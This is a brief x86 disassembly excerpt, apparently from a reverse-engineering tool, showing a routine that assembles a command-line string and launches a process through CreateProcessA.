lea ecx, [ebp - 0x25c]
mov dword [eax + ecx], 0x20
push dword [ebp + 0xc]
lea edx, [ebp - 0x25c]
push edx
call fcn.0040107d
lea eax, [ebp - 0x25c]
push edi
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.kernel32.dll_CreateProcessA]
popal
leave
ret 8